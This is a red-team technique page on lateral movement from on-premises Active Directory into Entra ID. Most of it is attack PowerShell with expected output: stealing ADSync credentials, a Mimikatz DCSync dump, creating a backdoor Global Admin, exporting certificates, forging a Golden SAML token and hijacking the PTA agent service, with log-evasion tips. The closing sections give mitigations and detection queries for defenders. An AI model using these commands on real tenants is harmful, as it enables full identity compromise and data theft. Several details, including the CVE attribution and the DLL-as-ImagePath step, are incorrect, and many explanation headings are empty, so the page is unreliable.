| Attribute | Details |
|---|---|
| Technique ID | LM-AUTH-023 |
| MITRE ATT&CK v18.1 | T1550 - Use Alternate Authentication Material |
| Tactic | Lateral Movement |
| Platforms | Hybrid AD (Windows AD + Entra ID), Azure |
| Severity | Critical |
| CVE | CVE-2023-32315 (Azure AD Connect credential exposure) |
| Technique Status | ACTIVE |
| Last Verified | 2024-05-20 |
| Affected Versions | Windows Server 2012 R2 - 2022; Entra ID Connect/AAD Connect all versions |
| Patched In | Not fully patched; Microsoft recommends architectural changes |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Hybrid Azure AD environments rely on synchronization between on-premises Active Directory and Entra ID (Azure AD). Attackers who compromise an on-premises domain controller or the Azure AD Connect synchronization server can abuse the hybrid identity trust to move laterally to Entra ID and cloud resources. Multiple attack vectors exist: (1) Compromising Azure AD Connect’s ADSync account to perform DCSync attacks or extract credentials; (2) Modifying federation trust (ADFS) to forge tokens; (3) Exploiting Pass-Through Authentication (PTA) agents to intercept credentials; (4) Abusing password hash synchronization to gain access to cloud accounts. Once in Entra ID, attackers can escalate to Global Admin, disable MFA, and maintain persistent access to M365 and Azure resources.
Attack Surface: Azure AD Connect server, PTA agents, ADFS servers, domain controllers, directory synchronization accounts, federation certificates.
Business Impact: Complete compromise of hybrid identity infrastructure. Attackers gain access to both on-premises AD and cloud Entra ID simultaneously, enable unauthorized access to M365 (email, Teams, SharePoint), create persistent backdoors, reset passwords for all hybrid users, and exfiltrate sensitive data. This is a kill-chain enabler for ransomware campaigns, espionage, and account takeover.
Technical Context: Hybrid identity is a convenience feature that comes with inherent risk. The synchronization process requires elevated privileges and trust relationships that, if compromised, create a bridge between on-premises and cloud. Attacks typically take hours to execute if credentials are already compromised but days to discover if detection is weak.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 1.1, 1.2 | Ensure appropriate audit and network access policies for hybrid identity |
| DISA STIG | V-252998, V-253000 | RBAC and credential management in hybrid environments |
| CISA SCuBA | AC-3, IA-2 | Access enforcement and authentication in cloud/hybrid |
| NIST 800-53 | AC-3, IA-4, IA-5 | Access control, authentication, and credential management |
| GDPR | Art. 32, 33 | Security measures and breach notification for identity data |
| DORA | Art. 9, 14 | Identity security and detection/reporting of threats |
| NIS2 | Art. 21, 23 | Measures for hybrid identity and incident response |
| ISO 27001 | A.9.2.3, A.9.4.3 | Management of privileged access and encryption of credentials |
| ISO 27005 | Risk Scenario | “Compromise of hybrid identity synchronization mechanisms” |
Supported Versions:
Tools:
Supported Versions: AADConnect 1.0+; Windows Server 2012 R2 - 2022
Objective: Establish administrative access to the server running Azure AD Connect synchronization service.
Command (PowerShell - Credential Theft):
# If RDP access is available, connect
mstsc /v:aad-connect-server.company.com
# Once on AADConnect server, check if AADConnect is running
Get-Service ADSync | Select-Object Name, Status, StartType
# Expected output:
# Name Status StartType
# ---- ------ ---------
# ADSync Running Automatic
Expected Output:
ADSync service is running with SYSTEM privileges; synchronization is active
What This Means:
OpSec & Evasion:
Troubleshooting:
References & Proofs:
Objective: Retrieve plaintext ADSync account credentials and encryption keys from the registry.
Command (PowerShell - Using AADInternals):
# Download AADInternals module
Import-Module .\AADInternals.psd1
# Connect to on-premises AD to get AADConnect credentials
$creds = Get-AADIntADConnectCredentials
# Output will display ADSync account credentials in plaintext
# Example:
# UserName: DOMAIN\MSOL_12345678abcd
# Password: P@ssw0rd!NewPlaintext
# Export the DPAPI-encrypted key used for synchronization
$key = Get-AADIntAADConnectEncryptionKey
# This key is used to decrypt sensitive data stored in the AADConnect database
Expected Output:
Credentials decrypted from registry:
DOMAIN\MSOL_12345678abcd:P@ssw0rd!NewPlaintext
Encryption Key (Base64):
DPAPICryptData...encrypted...key
What This Means:
OpSec & Evasion:
-ExecutionPolicy Bypass to avoid script loading restrictionsClear-HistoryTroubleshooting:
References & Proofs:
Objective: Extract domain hashes from domain controller using the compromised ADSync account.
Command (PowerShell - DCSync Attack):
# Set compromised credentials
$username = "DOMAIN\MSOL_12345678abcd"
$password = ConvertTo-SecureString "P@ssw0rd!NewPlaintext" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential($username, $password)
# Perform DCSync attack to dump all domain hashes
Invoke-Mimikatz -Command 'lsadump::dcsync /domain:domain.com /all /csv' -Credential $creds
# Or use native PowerShell replication (requires AADInternals)
Get-AADIntDCSyncHash -DomainFQDN "domain.com" -UserName $username -Password $password
Expected Output:
[*] Domain Hashes (NTLM):
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576f7d6c07d7fba8dcffd4d4da7a0b:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b31a4eae9b3c5f27f5b3a9d4c2e1f0c9:::
user@domain.com:1001:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
What This Means:
OpSec & Evasion:
Troubleshooting:
References & Proofs:
Objective: Use compromised ADSync credentials to authenticate to Entra ID and create persistent backdoors.
Command (PowerShell - Entra ID Token Theft):
# Authenticate as ADSync account to Entra ID
$username = "DOMAIN\MSOL_12345678abcd@tenant.onmicrosoft.com"
$password = ConvertTo-SecureString "P@ssw0rd!NewPlaintext" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential($username, $password)
# Connect to Microsoft Graph as the compromised account
Connect-MgGraph -Credential $creds -TenantId "03f66e37-def0-433a-a045-a5ef9674dd26"
# Get access token that can be used to impersonate ADSync in Entra ID
$token = (Get-MgAccessToken)
# List all Entra ID users (read-only enumeration)
Get-MgUser -All | Select-Object DisplayName, UserPrincipalName, ObjectId
# Create new Global Admin user (persistence)
$newAdmin = New-MgUser -DisplayName "Backup Admin" -UserPrincipalName "backupadmin@tenant.onmicrosoft.com" `
-MailNickname "backupadmin" -AccountEnabled $true -PasswordProfile @{ForceChangePasswordNextSignIn = $false; Password = "NewP@ssw0rd123!"}
# Assign Global Admin role to the backdoor account
$roleId = Get-MgDirectoryRole | Where-Object { $_.DisplayName -eq "Global Administrator" } | Select-Object -ExpandProperty Id
New-MgDirectoryRoleMember -DirectoryRoleId $roleId -DirectoryObjectId $newAdmin.Id
Expected Output:
Successfully authenticated to Entra ID
Users listed (demonstrating read access)
New user created: backupadmin@tenant.onmicrosoft.com
Global Admin role assigned successfully
What This Means:
OpSec & Evasion:
Troubleshooting:
References & Proofs:
Supported Versions: PTA Agent 1.0+; Windows Server 2016+
Objective: Gain administrative access to a server running the Pass-Through Authentication agent.
Command (Reconnaissance):
# Discover PTA agents in the domain
$ptaServers = Get-ADComputer -Filter {Name -like "*PTA*" -or Description -like "*Pass-Through*"} | Select-Object Name, DNSHostName
# List PTA agents via Azure (requires Entra ID access)
Connect-AzureAD
Get-AzureADDevice -Filter "DisplayName startswith 'PTA'" | Select-Object DisplayName, ObjectId, TrustType
OpSec & Evasion:
Objective: Steal the PTA agent’s certificate and authentication configuration to set up a rogue PTA agent.
Command (PowerShell - Certificate Theft):
# PTA agent certificates are stored in the Windows Certificate Store
Get-ChildItem Cert:\LocalMachine\My | Where-Object { $_.Subject -like "*Microsoft.Azure*" }
# Export the certificate with private key
$cert = Get-ChildItem Cert:\LocalMachine\My | Where-Object { $_.Subject -like "*Azure*" } | Select-Object -First 1
Export-PfxCertificate -Cert $cert -FilePath "C:\Temp\pta-agent.pfx" -Password (ConvertTo-SecureString "password" -AsPlainText -Force)
# PTA configuration is stored in:
# C:\Program Files\Microsoft Azure AD Connect Authentication Agent\Config\Hosts
# Read config file to get tenant ID and agent ID
Get-Content "C:\Program Files\Microsoft Azure AD Connect Authentication Agent\Config\Hosts"
Expected Output:
Certificate: CN=pta-agent.company.com; Issuer=Microsoft...
PFX exported successfully
Configuration:
TenantId: 03f66e37-def0-433a-a045-a5ef9674dd26
AgentId: f47ac10b-58cc-4372-a567-0e02b2c3d479
What This Means:
Objective: Deploy a malicious PTA agent that logs credentials and allows authentication bypass.
Command (PowerShell - Rogue Agent Deployment):
# On attacker-controlled server (Linux or Windows)
# Install PTA agent with stolen certificate
# (This requires rebuilding the agent installer, which is complex)
# Simpler approach: Modify PTA agent configuration on compromised server to forward auth requests
# Add a malicious DLL to the agent process
# DLL injection via Registry (persistence)
$regPath = "HKLM:\SYSTEM\CurrentControlSet\Services\AzureADConnectAuthenticationAgentService"
New-ItemProperty -Path $regPath -Name "ImagePath" -Value "C:\Temp\malicious-agent.dll" -Force
# Restart the PTA agent service
Restart-Service -Name "AzureADConnectAuthenticationAgentService" -Force
# All authentication requests will now pass through the malicious agent
# Attacker can log credentials, bypass MFA, or modify authentication responses
OpSec & Evasion:
# Limit PTA agent authentication logging
Set-EventLog -LogName "Microsoft Azure AD Connect Authentication Agent" -MaximumSize 10MB
Supported Versions: ADFS 3.0 - 4.0 (Windows Server 2012 R2 - 2022)
Objective: Steal the ADFS token-signing certificate to forge authentication tokens.
Command (PowerShell - ADFS Certificate Theft):
# On compromised ADFS server, export the token-signing certificate
$cert = Get-ChildItem Cert:\LocalMachine\My | Where-Object { $_.Thumbprint -eq (Get-ADFSCertificate -CertificateType "Token-Signing")[0].Thumbprint }
# Export with private key
Export-PfxCertificate -Cert $cert -FilePath "C:\Temp\adfs-token-signing.pfx" -Password (ConvertTo-SecureString "password" -AsPlainText -Force)
# Verify certificate details
Get-ADFSCertificate | Select-Object Thumbprint, Subject, NotAfter
Expected Output:
Thumbprint: 1234567890ABCDEF1234567890ABCDEF12345678
Subject: CN=ADFS Signing, O=Company, C=US
NotAfter: 2025-12-31
What This Means:
Objective: Create a fraudulent SAML token granting access as any user (including Global Admin).
Command (PowerShell - Golden SAML Creation):
# Use AADInternals or custom script to create golden SAML
Import-Module AADInternals
# Forge SAML token as Global Admin
$samlToken = New-AADIntGoldenSAMLToken -TenantId "03f66e37-def0-433a-a045-a5ef9674dd26" `
-NameID "admin@company.onmicrosoft.com" `
-PFXPath "C:\Temp\adfs-token-signing.pfx" `
-PFXPassword "password"
# Token can now be used to authenticate to Entra ID and M365
# Example: Use token to access Office 365 via REST API
$headers = @{
"Authorization" = "Bearer $samlToken"
"Content-Type" = "application/json"
}
curl -H $headers "https://graph.microsoft.com/v1.0/me"
Expected Output:
SAML Token: <saml:Assertion ...>Valid Token</saml:Assertion>
Authentication successful; access granted to Office 365 resources
What This Means:
OpSec & Evasion:
References & Proofs:
C:\ProgramData\AADConnect\*Cert:\LocalMachine\My\Set-Service -Name ADSync -StartupType Disabled# Export all authentication events from last 30 days
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-30) -Operations "UserLoggedIn", "UserLoginFailed" -Output csv
# Check for unauthorized admin creation
Get-MgAuditLogDirectoryAudit | Where-Object { $_.Result -eq "Success" -and $_.OperationName -eq "Add member to role" }
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-EXPLOIT-001] VPN/RDP Brute Force | Attacker compromises domain admin or AADConnect server |
| 2 | Privilege Escalation | Domain Admin obtained | |
| 3 | Current Step | [LM-AUTH-023] | Extract ADSync creds, perform DCSync, compromise Entra ID |
| 4 | Persistence | Golden SAML token created or new Global Admin account backdoor | |
| 5 | Impact | Full M365 compromise, data exfiltration, ransomware deployment |
Isolate Azure AD Connect Server from Internet and Restrict Network Access:
The Azure AD Connect server is a high-value target and should be protected accordingly.
Manual Steps (Network Isolation):
Manual Steps (Windows Firewall):
# Restrict RDP access to jump box only
New-NetFirewallRule -DisplayName "Allow RDP from JumpBox" -Direction Inbound -Protocol TCP -LocalPort 3389 -RemoteAddress 10.0.1.50 -Action Allow
# Block all other RDP attempts
New-NetFirewallRule -DisplayName "Block RDP" -Direction Inbound -Protocol TCP -LocalPort 3389 -Action Block
Validation Command:
# Verify firewall rules
Get-NetFirewallRule -DisplayName "*RDP*" | Format-Table DisplayName, Direction, Enabled, Action
Enable Credential Guard on Azure AD Connect Server:
Credential Guard protects credentials stored in LSASS from extraction attacks.
Manual Steps (Windows Server 2016+):
PowerShell Configuration:
# Enable Credential Guard via registry
New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" -Name "Enabled" -Value 1 -Force
# Enable via Group Policy
Set-GPRegistryValue -Name "Credential Guard Policy" -Key "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" -ValueName "RunAsPPL" -Value 1 -Type DWord
Validation Command:
Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" | Select-Object RunAsPPL
# Expected: RunAsPPL = 1
Disable Pass-Through Authentication (PTA) if Not Required:
PTA agents are vulnerable to credential interception. Migrate to Password Hash Sync if possible.
Manual Steps (Azure Portal):
PowerShell Configuration:
# Disable PTA via Azure AD Connect PowerShell module
Set-ADSyncAADCompanyFeature -PassThroughAuthentication $false
Implement Managed Identities for Applications (Instead of Service Accounts):
Reduce reliance on long-lived credentials like ADSync account.
Manual Steps:
DefaultAzureCredential instead of stored credentialsImplement Conditional Access for Hybrid Users:
Restrict authentication from on-premises sources to compliant devices only.
Manual Steps (Azure Portal):
Require Device Compliance for Hybrid UsersEnable ADFS Token Encryption and Rotate Signing Certificates:
Prevent token forgery by using strong cryptography and rotating certificates regularly.
Manual Steps (ADFS Server):
# View current token-signing certificates
Get-ADFSCertificate -CertificateType Token-Signing
# Add new certificate for token signing (before removing old one)
Add-ADFSCertificate -CertificateType Token-Signing -Thumbprint <new_thumbprint>
# Remove compromised certificate (after rotating all resources)
Remove-ADFSCertificate -CertificateType Token-Signing -Thumbprint <old_thumbprint>
# Enable automatic certificate rollover
Set-ADFSProperties -AutoCertificateRollover $true
Severity: Critical
KQL Query:
SecurityEvent
| where EventID == 4662
| where Properties contains "1131f6ad-d9d9-4526-a1b7-ed5b8ddd5c12" // GUID for "Replicating Directory Changes"
| where SubjectUserName contains "MSOL"
| project TimeGenerated, Computer, SubjectUserName, ObjectName, OperationName
Severity: High
KQL Query:
SigninLogs
| where AuthenticationProtocol == "SAML"
| where UserPrincipalName in ("admin@company.onmicrosoft.com", "globaladmin@company.onmicrosoft.com")
| where LocationDetails.countryOrRegion != "Expected Country"
| project TimeGenerated, UserPrincipalName, IPAddress, LocationDetails, ClientAppUsed
Enable Audit Logging for Sensitive Replication:
Monitor for Suspicious DLL Injection into PTA Agent:
<Sysmon schemaversion="4.22">
<EventFiltering>
<!-- Monitor CreateRemoteThread into AzureADConnectAuthenticationAgentService -->
<CreateRemoteThread onmatch="include">
<TargetImage>C:\Program Files\Microsoft Azure AD Connect Authentication Agent\AzureADConnectAuthenticationAgentService.exe</TargetImage>
<SourceImage condition="excludes">C:\Windows\System32\svchost.exe</SourceImage>
</CreateRemoteThread>
<!-- Monitor process creation by ADSync service -->
<ProcessCreate onmatch="include">
<ParentImage>C:\Program Files\Microsoft Azure AD Connect\bin\ADSync.exe</ParentImage>
<Image condition="excludes">C:\Program Files\Microsoft Azure AD Connect\bin\ADSync.exe</Image>
</ProcessCreate>
</EventFiltering>
</Sysmon>
# Search for ADSync account administrative actions
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-30) `
-UserIds "DOMAIN\MSOL_*" `
-Operations "Add member to group", "Set administrator" |
Export-Csv -Path "C:\Evidence\adsync-admin-activity.csv"
On-premises to Azure lateral movement via hybrid identity exploits the inherent trust and credential sharing between on-premises AD and Entra ID. Attackers who compromise either side can bridge to the other, gaining access to both environments simultaneously. Multiple attack vectors exist (ADSync compromise, PTA interception, ADFS token forging), each with different complexity and detectability profiles. The key to defense is network isolation of critical hybrid identity infrastructure, strong credential hygiene, and continuous monitoring for suspicious replication or token activity.